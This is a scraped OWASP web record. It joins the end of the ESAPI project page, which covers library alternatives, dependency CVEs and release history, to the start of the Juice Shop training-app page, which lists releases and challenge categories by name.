Authentication / authorization: [Apache Shiro](https://shiro.apache.org/) , [Authentication using Spring Security](https://duckduckgo.com/?q=using+%22spring+security%22+authentication&atb=v203-1&ia=web)\n- CSRF protection: [OWASP CSRFGuard Project](/www-project-csrfguard) or [OWASP CSRFProtector Project](/www-project-csrfprotector)\n\nif *might* make sense to use ESAPI if you plan use multiple security controls\nprovided by ESAPI (e.g., you plan on using an output encoder to prevent XSS,\ndata validation, HTML sanitization, and safe logging), then ESAPI possibly makes\nmore sense to use than 3 or 4 other disparate class libraries, which provide but\na single security control. That is an engineering decision your development team\nwill need to make.\n\nBut most (perhaps 90% or more) of the ESAPI use which I have observed was solely\nlimited to using ESAPI’s Encoder to remediate XSS vulnerabilities. If that is\nall that you intend to do with ESAPI, steer clear and use\n[OWASP Java Encoder Project](/www-project-java-encoder) instead.\n\nA final note: If you want to use ESAPI for authentication / authorization, keep\nin mind that ESAPI’s reference implementation of those are “flat file based” and will\nnot scale to enterprise levels. Those 2 reference implementations are more or\nless intended as 1) instructional models so show fundamental implementation\nideas, and 2) provided so we could do unit testing that we otherwise would not\nbe able to accomplishment without some reference implementation. That said,\nwriting a RDBMS implementation or an LDAP implementation should not be rocket\nscience.\n\n### Is ESAPI “safe” to use?\n\n#### A brief history\n\nNote that none of the above recommended alternatives are meant to\nsuggest that ESAPI is dead, but rather to acknowledge the fact that\nit isn’t being as well-maintained as most F500 companies would\nlike for their enterprise software.\n\nIn the past, ESAPI had gathered the reputation that it was not well maintained,\nbut that’s not the whole story. There were a few of us who were actively\nfixing bugs (including updating dependencies), but because no one had\ninstructions of how to upload a new release to Maven Central, we couldn’t make\nofficial releases available to the public unless they were willing to get them\nfrom our GitHub ‘develop’ branch where the fixes were being applied. Despite\nme pleading for help, none arrived until 2Q-2019. Since that time, there have\nbeen 7 *official* releases (see https://mvnrepository.com/artifact/org.owasp.esapi/esapi\nfor a complete list).\n\n#### Concerns about vulnerable ESAPI dependencies are usually over-hyped\n\nDespite that, I still see objections that the ESAPI development team is still\nnot responsive enough to new vulnerabilities discovered in its dependencies.\nLet me respond to that.\n\n1. I get security alerts from both Snyk and GitHub as well as regularly using OWASP Dependency Check in our build process to stay on top of vulnerabilities in library dependencies. In addition, the ever astute ESAPI user community regularly emails the ESAPI co-leaders notices of new CVEs that might affect ESAPI.\n2. When I become aware of a new CVE in an ESAPI dependency, whether that it is in a direct or transitive dependency, I attempt to research it to see if it leads to an *exploitable* path to those using ESAPI. Usually that means digging through the source code of the affected dependency and looking at the commits that fixed the problem. As it turns out, vulnerabilities in ESAPI dependencies rarely to lead to exploitable paths via ESAPI, but if it does, the ESAPI team discusses it, and either upgrades or prepares a workaround. And if that is not possible, we will put usually will put out an announcement on our Google groups mailing lists and prepare a security bulletin, such as this [one](https://github.com/ESAPI/esapi-java-legacy/blob/develop/documentation/ESAPI-security-bulletin2.pdf) for CVE-2019-17571 in Log4J 1.x.\n3. If users of ESAPI are overly concerned, then can generally edit their Maven or Gradle, etc. configuration file to exclude the vulnerable dependency and use an updated one that has patched whatever CVE. This does not require a Ph.D. in quantum physics; any developer with a clue (or knowing how to use Stack Overflow :) ought to be able to figure this out. There may be some rare cases where this is not possible and breaks their tests, but if that is the case, it means that ESAPI generally would not be able to upgrade either. (Note because ESAPI currently has a minimal baseline dependency of Java 7, there are times when we cannot upgrade to later versions of dependencies because they require Java 8 or later. That is rare, but could happen. Of course, if your application is stuck using Java 7, then CVEs in ESAPI dependencies probably should be the least of your worries.)\n\n#### If you are still concerned about support…\n\nThere used to be, and probably still are, companies from which you can purchase ESAPI support.\nI am not going to list such companies here in order to remain vendor neutral. If you are searching\nfor, and unable to locate, one, then contact me privately via email and I will provide you with\na few pointers.\n\n### So why then are you against recommending ESAPI?\n\nAt one point when I originally created this ‘tab’ on the OWASP ESAPI ‘wiki’, \nmy primary motivation of recommending other security alternatives to ESAPI\nwas indeed because I felt that we could not adequately support it because I\nhad not yet figured out how to do a release, but having now done a couple\nof releases to Maven Central and having written down detailed documentation, \nthat is no longer my concern for recommending alternatives.\n\nSo if not that, then why steer people clear of ESAPI 2.x? Glad you asked.\nThere are two primary reasons:\n\n1. ESAPI’s monolithic architecture means that your project will probably unnecessarily pull in lots of dependencies that are not actually needed, which in turn leads to more bloated application deployments. Maybe that’s not an issue everywhere, especially if your application war file is in the GB range, but I grew up in the day when Bill Gates told us that 640Kb ought to be enough RAM for anybody and I foolishly believed him. Given that the latest ESAPI jar is a tad over 450Kb, that doesn’t leave much room for its dependent jars, much less for the rest of your application. :) So, in part, its a personal crusade against software bloat.\n2. It is going to be a difficult path forward to ESAPI 3 for those applications using ESAPI 2.x. To decouple things and be able to package major functionality into separate ESAPI jars (for instance, there likely will be an esapi3-core jar and an esapi3-encoder jar, etc.), we likely will break some existing interfaces. We won’t do that intentionally, but the main goal will not be to preserve backward compatibility. The fact of the matter is, I don’t think any of the active ESAPI 2.x contributors wants to spend their time on mailing lists or Stack Overflow or at their companies advising application development teams on the best way of migrating from ESAPI 2.x to ESAPI 3. So the less projects that are on ESAPI 2 now, the better it will be for us when ESAPI 3 finally does arrive. It’s somewhat of a selfish reason, but application developers themselves should be selfish in the same sense about the future maintainability of their code. We certainly will not needlessly (at least as I’m a project co-lead) deviate from the ESAPI 2.x interfaces and its current semantic behavior, but at this point, I cannot promise anything. I personally think many of the current ESAPI 2 interfaces are too bloated and confusing and need to be “broken apart” because the current structure ultimately leads to confusion on the part of developers and is an impediment to learning the ESAPI SDK. Therefore we will, in fact, not be hesitant to change such things. In the end, the transition from ESAPI 2 to ESAPI 3 may be easy, but it almost certainly will NOT be seamless and could end up being a royal PITA, much like the transition from Struts 1 to Struts 2. No promises at this point.\n\n### Closing thoughts\n\nIt is not a perfect world that we live in, but I would be\nremiss as an AppSec guy if I were to plug ESAPI over other good security\nsolutions simply because of my contributions to / involvement with\nESAPI. I think that ESAPI has its place and I will do my best to\nmaintain it, but not to the exclusion of my family or day job and I don’t\nexpect that of the other ESAPI contributors either. However, if you\nwould like to volunteer to help, you know where to find me.\n\n-[Kevin W. Wall](mailto:kevin.w.wall@gmail.com), ESAPI project co-lead\n(last updated July 2020)\n\n---\n\n## Glossary\n\n**ESAPI Terminology**\n\n- **adapter** - There are optionally your own implementations for each\nsecurity control. There may be application logic contained in these\nclasses which may be developed by or for your organization. The\nlogic may be organization-specific and/or application-specific.\nThere may be proprietary information or logic contained in these\nclasses which may be developed by or for your organization.\n- **built-in singleton design pattern** - The “built-in” singleton\ndesign pattern refers to the replacement of security control\nreference implementations with your own implementations. ESAPI\ninterfaces are otherwise left intact.\n- **codec** - ESAPI encoder/decoder reference implementations.\n- **core** - The ESAPI interfaces and reference implementations that\nare not intended to be replaced with enterprise-specific versions\nare called the ESAPI Core.\n- **encoder** - Interfaces and implementation classes that perform some sort\nof output encoding, whether as a defense against XSS or to do base64\nencoding, etc.\n- **exception** - ESAPI exception reference implementations.\n- **extended factory design pattern** - The “extended” factory design\npattern refers to the addition of a new security control interface\nand corresponding implementation, which in turn calls ESAPI security\ncontrol reference implementations and/or security control reference\nimplementations that were replaced with your own implementations.\nThe ESAPI locator class would be called in order to retrieve a\nsingleton instance of your new security control, which in turn would\ncall ESAPI security control reference implementations and/or\nsecurity control reference implementations that were replaced with\nyour own implementations.\n- **extended singleton design pattern** - The “extended” singleton\npattern refers to the replacement of security control reference\nimplementations with your own implementations and the\naddition/modification/subtraction of corresponding security control\ninterfaces.\n- **ES-enable (or ESAPI-enable)** - Just as web applications and web\nservices can be Public Key Infrastructure (PKI) enabled (PK-enabled)\nto perform for example certificate-based authentication,\napplications and services can be OWASP ESAPI-enabled (ES-enabled) to\nenable applications and services to protect themselves from\nattackers.\n- **filter** - In ESAPI for Java, there is additionally an HTTP filter\nthat can be called separately from the other controls.\n- **interfaces** - There is a set of security control interfaces.\nThere is no application logic contained in these interfaces. They\ndefine for example types of parameters that are passed to types of\nsecurity controls. There is no proprietary information or logic\ncontained in these interfaces.\n- **locator** - The ESAPI security control interfaces include an\n“ESAPI” class that is commonly referred to as a “locator” class. The\nESAPI locator class is called in order to retrieve singleton\ninstances of individual security controls, which are then called in\norder to perform security checks (such as performing an access\ncontrol check) or that result in security effects (such as\ngenerating an audit record).\n- **safe logging** – ESAPI’s attempt to sanitize log output as a defense\nagainst Log Forging attacks.\n- **reference implementation** - There is a reference implementation\nfor each security control. There is application logic contained in\nthese classes, i.e. contained in these interface implementations.\nHowever, the logic is not organization-specific and the logic is not\napplication-specific. There is no proprietary information or logic\ncontained in these reference implementation classes.\n- **validator** - An interface or implementation class that does some sort\nof data validation, usually via an accept-list or regular expression.\nESAPI validators also often handle canonicalization of input before the\nactual data validation is performed.\n- **Web Application Firewall (WAF)** - In ESAPI for Java, there is\nadditionally a Web Application Firewall (WAF) that can be called\nseparately from the other controls.\n\n---\n\n## OWASP ESAPI for Java EE\n\n### Release Info\n\n- Current release: 2.7.0.0 - June 2, 2025 [(download)](https://mvnrepository.com/artifact/org.owasp.esapi/esapi/2.7.0.0)\n- Release notes: [2.7.0.0 release notes](https://github.com/ESAPI/esapi-java-legacy/blob/develop/documentation/esapi4java-core-2.7.0.0-release-notes.txt)\n\n### Summary\n\n**Purpose:** This is the Java EE language version of OWASP ESAPI. The ESAPI for Java EE is the baseline ESAPI design.\n\n- The current release of this project is suitable for production use. It now requires Java 8 or later to use.\n- The ESAPI 2.x branch supports Java 5 and above, but the releases 2.2.0.0 and later require **Java 7** or later. Note that release 2.3.0.0 was be the **last** release to support Java 7. Thereafter, Java 8 will be the minimal supported JDK.\n- You may view the Javadocs here https://www.javadoc.io/doc/org.owasp.esapi/esapi/latest/index.html\n- The unsupported ESAPI 1.4 branch supports Java 4 and above. Complete information on latest 1.4 branch dependencies can be found here http://owasp-esapi-java.googlecode.com/svn/trunk_doc/1.4.4/site/dependencies.html. (Google may have removed this though, so you may have to search for it on the [Internet Wayback Machine](https://archive.org/) .)\n- The OWASP AppSensor-ESAPI integration guide is out! See [AppSensor_GettingStarted](https://wiki.owasp.org/index.php/AppSensor_GettingStarted) for details.\n\n---\n\n## Project Details\n\n- **ESAPI for Java** : Work for ESAPI 3.0 is still in the early planning stages and ESAPI 2.x is in maintenance / bug-fix mode (i.e., no new features will be added). Unless you are legacy project that is already using ESAPI, you are highly encouraged to read the [“Should I Use ESAPI”](/www-project-enterprise-security-api#div-shouldiuseesapi) tab.\n- **ESAPI for JavaScript** : **DEPRECATED** - No longer supported; use at your own risk. See the\nassociated [README.md](https://github.com/ESAPI/owasp-esapi-js/blob/master/README.md) file for details.\n- **ESAPI for Node** : Only one outstanding issue, but no known vulnerabile dependencies.\n\n---\n\n[Watch](https://github.com/esapi-java-legacy/esapi-java-legacy/subscription) [Star](https://github.com/esapi-java-legacy/esapi-java-legacy)", "znaku_textu": 21513, "slov": 3172, "odkazu": 80, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:32", "sha256": "92ea4cf99cacf8eda652104b47bd2bf98f57b0298104ea8011d23e16e2892647", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://wiki.owasp.org/images/3/32/Esapi-datasheet.doc", "https://www.denimgroup.com/media/pdfs/DenimGroup_ESAPI_SATJUG_20100603.pdf", "https://www.youtube.com/results?search_query=OWASP+ESAPI", "https://search.maven.org/", "https://github.com/ESAPI/esapi-java-legacy", "https://github.com/ESAPI/owasp-esapi-js", "https://github.com/ESAPI/node-esapi", "https://archive.org/", "https://github.com/", "https://github.com/damonmiller/esapi4cf", "http://wiki.owasp.org/images/8/82/Esapi-design-patterns.pdf", "http://wiki.owasp.org/index.php/File:Esapi-design-patterns.doc", "http://wiki.owasp.org/images/8/87/Esapi-design-patterns.ppt", "https://wiki.owasp.org/index.php/ESAPI_Swingset", "https://www.javadoc.io/doc/org.owasp.esapi/esapi/latest/index.html", "http://beanvalidation.org/", "https://github.com/google/tink", "https://github.com/google/keyczar", "https://shiro.apache.org/", "https://duckduckgo.com/?atb=v203-1&ia=web&q=using+%22spring+security%22+authentication", "https://github.com/ESAPI/esapi-java-legacy/blob/develop/documentation/ESAPI-security-bulletin2.pdf", "https://mvnrepository.com/artifact/org.owasp.esapi/esapi/2.7.0.0", "https://github.com/ESAPI/esapi-java-legacy/blob/develop/documentation/esapi4java-core-2.7.0.0-release-notes.txt", "https://wiki.owasp.org/index.php/AppSensor_GettingStarted", "https://github.com/ESAPI/owasp-esapi-js/blob/master/README.md", "https://github.com/esapi-java-legacy/esapi-java-legacy/subscription", "https://github.com/esapi-java-legacy/esapi-java-legacy", "https://mvnrepository.com/artifact/org.owasp.esapi/esapi", "https://github.com/ESAPI/esapi-java-legacy/releases/latest", "https://groups.google.com/a/owasp.org/forum/", "https://github.com/ESAPI/esapi-java", "https://www.javadoc.io/doc/org.owasp.esapi/esapi", "https://opensource.org/licenses/BSD-3-Clause", "https://creativecommons.org/licenses/by-sa/3.0/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-juice-shop/", "titulek": "OWASP Juice Shop | OWASP Foundation", "h1": "OWASP Juice Shop", "popis": "Probably the most modern and sophisticated insecure web application for security trainings, awareness demos and CTFs. Also great voluntary guinea pig for your security tools and DevSecOps pipelines!", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-juice-shop/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Probably the most modern and sophisticated insecure web application for security trainings, awareness demos and CTFs. Also great voluntary guinea pig for your security tools and DevSecOps pipelines!", "og:title": "OWASP Juice Shop | OWASP Foundation", "og:url": "https://owasp.org/www-project-juice-shop/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Juice Shop"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Testimonials"}, {"uroven": 2, "text": "Contributors"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Main Selling Points"}, {"uroven": 2, "text": "Screenshots"}, {"uroven": 2, "text": "Application Architecture"}, {"uroven": 2, "text": "Latest Releases"}, {"uroven": 3, "text": "CTF Extension"}, {"uroven": 3, "text": "MultiJuicer"}, {"uroven": 2, "text": "Roadmap"}, {"uroven": 2, "text": "Challenge Categories"}, {"uroven": 2, "text": "Challenge Tags"}, {"uroven": 2, "text": "Hacking Instructor Tutorials"}, {"uroven": 2, "text": "Coding Challenges"}, {"uroven": 2, "text": "Mitigation Links"}, {"uroven": 2, "text": "CTF Extension"}, {"uroven": 3, "text": "Supported CTF Frameworks"}, {"uroven": 2, "text": "Official Companion Guide"}, {"uroven": 2, "text": "Official Multi User Platform"}, {"uroven": 2, "text": "Official Jingle"}, {"uroven": 2, "text": "Endorsed Open Source Projects"}, {"uroven": 2, "text": "Project Supporters"}, {"uroven": 3, "text": "Top Supporters"}, {"uroven": 4, "text": "All Corporate Supporters"}, {"uroven": 4, "text": "All Individual Supporters"}, {"uroven": 4, "text": "All Corporate-sponsored Code Contributions"}, {"uroven": 4, "text": "LeanPub Royalties"}, {"uroven": 4, "text": "MultiJuicer Maintenance"}], "markdown": "# OWASP Juice Shop\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\nOWASP Juice Shop is probably the most modern and sophisticated insecure\nweb application! It can be used in security trainings, awareness demos,\nCTFs and as a guinea pig for security tools! Juice Shop encompasses\nvulnerabilities from the entire\n[OWASP Top Ten](/www-project-top-ten) along with many other security\nflaws found in real-world applications!\n\n## Description\n\nJuice Shop is written in Node.js, Express and Angular. It was the first\napplication written entirely in JavaScript listed in the\n[OWASP VWA Directory](/www-project-vulnerable-web-applications-directory).\n\nThe application contains a vast number of hacking challenges of varying\ndifficulty where the user is supposed to exploit the underlying\nvulnerabilities. The hacking progress is tracked on a score board.\nFinding this score board is actually one of the (easy) challenges!\n\nApart from the hacker and awareness training use case, pentesting\nproxies or security scanners can use Juice Shop as a “guinea\npig”-application to check how well their tools cope with\nJavaScript-heavy application frontends and REST APIs.\n\n*Translating “dump” or “useless outfit” into German yields “Saftladen”\nwhich can be reverse-translated word by word into “juice shop”. Hence\nthe project name. That the initials “JS” match with those of\n“JavaScript” was purely coincidental!*\n\n## Testimonials\n\n> [The most trustworthy online shop out there.](https://twitter.com/dschadow/status/706781693504589824)\n> (\n> [@dschadow](https://github.com/dschadow)) —\n> [The best juice shop on the whole internet!](https://twitter.com/shehackspurple/status/907335357775085568)\n> (\n> [@shehackspurple](https://twitter.com/shehackspurple)) —\n> [Actually the most bug-free vulnerable application in existence!](https://youtu.be/TXAztSpYpvE?t=26m35s)\n> (\n> [@vanderaj](https://twitter.com/vanderaj)) —\n> [First you 😂😂then you 😢](https://twitter.com/kramse/status/1073168529405472768)\n> (\n> [@kramse](https://twitter.com/kramse)) —\n> [But this doesn’t have anything to do with juice.](https://twitter.com/coderPatros/status/1199268774626488320)\n> (\n> [@coderPatros’ wife](https://twitter.com/coderPatros))\n\n## Contributors\n\nThe OWASP Juice Shop has been created by\n[Björn Kimminich](mailto:bjoern.kimminich@owasp.org) and is developed,\nmaintained and translated by a\n[team of volunteers](https://github.com/juice-shop/juice-shop/blob/master/HALL_OF_FAME.md).\nA\n[live update of the project contributors](https://github.com/juice-shop/juice-shop/graphs/contributors)\nis found here.\n\n## Licensing\n\nThis program is free software: You can redistribute it and/or modify it\nunder the terms of the\n[MIT License](https://github.com/juice-shop/juice-shop/blob/master/LICENSE).\nOWASP Juice Shop and any contributions are Copyright © by Bjoern\nKimminich & the OWASP Juice Shop contributors 2014-2025.\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Main Selling Points\n\n- **Free and Open source** : Licensed under the [MIT license](https://github.com/juice-shop/juice-shop/blob/master/LICENSE) with no hidden costs or caveats\n- **Easy-to-install** : Choose between [node.js](http://nodejs.org) , [Docker](https://www.docker.com) and [Vagrant](https://www.vagrantup.com/downloads.html) to run on\nWindows/Mac/Linux as well as all major cloud providers\n- **Self-contained** : Additional dependencies are [pre-packaged](https://github.com/juice-shop/juice-shop/releases/latest) or will be resolved and downloaded automatically\n- **Beginner-friendly** : [Hacking Instructor](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_hacking_instructor) scripts with optional [tutorial mode](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_tutorial_mode) guide newcomers through several challenges while explaining the\nunderlying vulnerabilities\n- **Gamification** : The application [notifies you on solved challenges](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_success_notifications) and keeps track of successfully exploited vulnerabilities on a [Score\nBoard](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_the_score_board)\n- **Self-healing** : [Wiped clean and\nrepopulated from scratch](https://pwning.owasp-juice.shop/companion-guide/latest/part1/running.html#_self_healing_feature) on every server startup while [automatically persisting progress in your browser](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_automatic_saving_and_restoring_hacking_progress) or via [manual local backup](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_manual_progress_and_settings_backup)\n- **Re-branding** : [Fully customizable](https://pwning.owasp-juice.shop/companion-guide/latest/part4/customization.html) in business context and look & feel to your own corporate or customer\nrequirements\n- **CTF-support** : Challenge notifications optionally contain a flag\ncode for your own [Capture-The-Flag events](https://pwning.owasp-juice.shop/companion-guide/latest/part4/ctf.html)\n- **Coding Challenges** : Over 20 hacking challenges come with an additional [Coding Challenge](https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_coding_challenges) where finding and fixing the responsible code flaw can be trained\n- **Interoperability** : Integrate with your own training systems via [WebHook](https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html#_challenge_solution_webhook) ,\nmonitor the [extensive metrics](https://pwning.owasp-juice.shop/companion-guide/latest/part4/monitoring.html) or consume challenge information directly via [API](https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html#_challenges_api) or [file import](https://pwning.owasp-juice.shop/companion-guide/latest/part4/integration.html#_challenge_declaration_file)\n\n## Screenshots\n\n## Application Architecture\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Latest Releases\n\n- 2026-08-10T21:58:43Z: juice-shop [`v20.2.0`](https://github.com/juice-shop/juice-shop/releases/tag/v20.2.0)\n- 2026-06-23T23:08:27Z: juice-shop [`v20.1.1`](https://github.com/juice-shop/juice-shop/releases/tag/v20.1.1)\n- 2026-06-23T17:13:42Z: juice-shop [`v20.1.0`](https://github.com/juice-shop/juice-shop/releases/tag/v20.1.0)\n- 2026-05-12T21:21:01Z: juice-shop [`v20.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v20.0.0)\n- 2026-03-07T12:17:04Z: juice-shop [`v19.2.1`](https://github.com/juice-shop/juice-shop/releases/tag/v19.2.1)\n- 2026-03-07T10:16:27Z: juice-shop [`v19.2.0`](https://github.com/juice-shop/juice-shop/releases/tag/v19.2.0)\n- 2025-11-16T14:47:08Z: juice-shop [`v19.1.1`](https://github.com/juice-shop/juice-shop/releases/tag/v19.1.1)\n- 2025-11-16T13:50:56Z: juice-shop [`v19.1.0`](https://github.com/juice-shop/juice-shop/releases/tag/v19.1.0)\n- 2025-09-04T05:50:12Z: juice-shop [`v19.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v19.0.0)\n- 2025-06-17T05:08:00Z: juice-shop [`v18.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v18.0.0)\n- 2025-04-22T22:13:33Z: juice-shop [`v17.3.0`](https://github.com/juice-shop/juice-shop/releases/tag/v17.3.0)\n- 2025-03-14T21:04:32Z: juice-shop [`v17.2.0`](https://github.com/juice-shop/juice-shop/releases/tag/v17.2.0)\n- 2024-09-09T16:06:22Z: juice-shop [`v17.1.1`](https://github.com/juice-shop/juice-shop/releases/tag/v17.1.1)\n- 2024-08-05T15:07:20Z: juice-shop [`v17.1.0`](https://github.com/juice-shop/juice-shop/releases/tag/v17.1.0)\n- 2024-05-24T21:08:54Z: juice-shop [`v17.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v17.0.0)\n- 2024-04-22T13:36:03Z: juice-shop [`v16.0.1`](https://github.com/juice-shop/juice-shop/releases/tag/v16.0.1)\n- 2023-12-19T15:35:41Z: juice-shop [`v16.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v16.0.0)\n- 2023-11-03T20:11:03Z: juice-shop [`v15.3.0`](https://github.com/juice-shop/juice-shop/releases/tag/v15.3.0)\n- 2023-10-03T21:17:58Z: juice-shop [`v15.2.1`](https://github.com/juice-shop/juice-shop/releases/tag/v15.2.1)\n- 2023-09-22T16:37:04Z: juice-shop [`v15.2.0`](https://github.com/juice-shop/juice-shop/releases/tag/v15.2.0)\n- 2023-09-08T13:03:29Z: juice-shop [`v15.1.0`](https://github.com/juice-shop/juice-shop/releases/tag/v15.1.0)\n- 2023-05-19T23:00:51Z: juice-shop [`v15.0.0`](https://github.com/juice-shop/juice-shop/releases/tag/v15.0.0)\n\n### CTF Extension\n\n- 2025-09-04T06:11:47Z: juice-shop-ctf [`v12.0.0`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v12.0.0)\n- 2025-02-18T11:19:13Z: juice-shop-ctf [`v11.1.0`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v11.1.0)\n- 2024-10-25T14:30:28Z: juice-shop-ctf [`v11.0.0`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v11.0.0)\n- 2023-10-11T22:23:15Z: juice-shop-ctf [`v10.0.1`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v10.0.1)\n- 2023-09-01T10:31:42Z: juice-shop-ctf [`v10.0.0`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v10.0.0)\n- 2022-08-23T16:13:55Z: juice-shop-ctf [`v9.1.2`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v9.1.2)\n- 2022-08-03T04:31:18Z: juice-shop-ctf [`v9.1.1`](https://github.com/juice-shop/juice-shop-ctf/releases/tag/v9.1.1)\n\n### MultiJuicer\n\n- 2026-09-01T14:37:26Z: multi-juicer [`v10.3.1`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.3.1)\n- 2026-08-12T11:49:15Z: multi-juicer [`v10.3.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.3.0)\n- 2026-06-23T19:46:15Z: multi-juicer [`v10.2.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.2.0)\n- 2026-06-23T19:39:45Z: multi-juicer [`v10.2.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.2.0)\n- 2026-06-03T16:46:24Z: multi-juicer [`v10.1.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.1.0)\n- 2026-05-21T17:16:34Z: multi-juicer [`v10.0.1`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.1)\n- 2026-05-13T07:41:45Z: multi-juicer [`v10.0.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0)\n- 2026-05-10T20:07:53Z: multi-juicer [`v10.0.0-rc.2`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0-rc.2)\n- 2026-05-08T18:26:19Z: multi-juicer [`v10.0.0-rc.1`](https://github.com/juice-shop/multi-juicer/releases/tag/v10.0.0-rc.1)\n- 2026-02-12T19:50:54Z: multi-juicer [`v9.2.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v9.2.0)\n- 2026-01-25T21:15:53Z: multi-juicer [`v9.1.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v9.1.0)\n- 2025-11-22T17:39:28Z: multi-juicer [`v9.0.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v9.0.0)\n- 2025-06-17T07:57:20Z: multi-juicer [`v8.3.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.3.0)\n- 2025-04-30T09:15:52Z: multi-juicer [`v8.2.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.2.0)\n- 2025-03-15T18:57:18Z: multi-juicer [`v8.1.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.1.0)\n- 2025-03-05T18:29:42Z: multi-juicer [`v8.0.5`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.5)\n- 2025-02-27T13:10:39Z: multi-juicer [`v8.0.4`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.4)\n- 2025-02-25T19:43:35Z: multi-juicer [`v8.0.3`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.3)\n- 2025-02-07T14:54:23Z: multi-juicer [`v8.0.2`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.2)\n- 2025-01-07T18:42:57Z: multi-juicer [`v8.0.1`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.1)\n- 2024-12-28T13:51:39Z: multi-juicer [`v8.0.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v8.0.0)\n- 2024-10-06T00:25:23Z: multi-juicer [`v7.3.2`](https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.2)\n- 2024-09-19T13:26:34Z: multi-juicer [`v7.3.1`](https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.1)\n- 2024-09-10T09:40:37Z: multi-juicer [`v7.3.0`](https://github.com/juice-shop/multi-juicer/releases/tag/v7.3.0)\n\n## Roadmap\n\n- Gradually enhance the codebase and pay back [accumulated technical debt](https://qlty.sh/gh/juice-shop/projects/juice-shop)\n- Push [overall test coverage](https://coveralls.io/github/juice-shop/juice-shop) to asymptotically approach 90% again\n\n---\n\nFor the latest information about OWASP Juice Shop visit [https://owasp-juice.shop](https://owasp-juice.shop) !\n\n## Challenge Categories\n\nThe vulnerabilities found in the OWASP Juice Shop are categorized into\nseveral different classes. Most of them cover different risk or\nvulnerability types from well-known lists or documents, such as\n[OWASP Top 10](https://owasp.org/www-project-top-ten/),\n[OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/),\n[OWASP Automated Threat Handbook](https://owasp.org/www-project-automated-threats-to-web-applications/)\nand\n[OWASP API Security Top 10](https://owasp.org/www-project-api-security/)\nor MITRE’s\n[Common Weakness Enumeration](https://cwe.mitre.org/).\n\n| Category | # | Challenges |\n| --- | --- | --- |\n| Broken Access Control | 12 | AI Debugging, Admin Section, CSRF, Easter Egg, Five-Star Feedback, Forged Feedback, Forged Review, Manipulate Basket, Product Tampering, SSRF, View Basket, Web3 Sandbox |\n| Broken Anti Automation | 4 | CAPTCHA Bypass, Extra Language, Multiple Likes, Reset Morty's Password |\n| Broken Authentication | 9 | Bjoern's Favorite Pet, Change Bender's Password, GDPR Data Erasure, Login Bjoern, Password Strength, Reset Bender's Password, Reset Bjoern's Password, Reset Jim's Password, Two Factor Authentication |\n| Cryptographic Issues | 5 | Forged Coupon, Imaginary Challenge, Nested Easter Egg, Premium Paywall, Weird Crypto |\n| Improper Input Validation | 12 | Admin Registration, Deluxe Fraud, Empty User Registration, Expired Coupon, Mint the Honey Pot, Missing Encoding, Payback Time, Poison Null Byte, Repetitive Registration, Upload Size, Upload Type, Zero Stars |\n| Injection | 14 | Chatbot Prompt Injection, Christmas Special, Database Schema, Ephemeral Accountant, Greedy Chatbot Manipulation, Login Admin, Login Bender, Login Jim, NoSQL 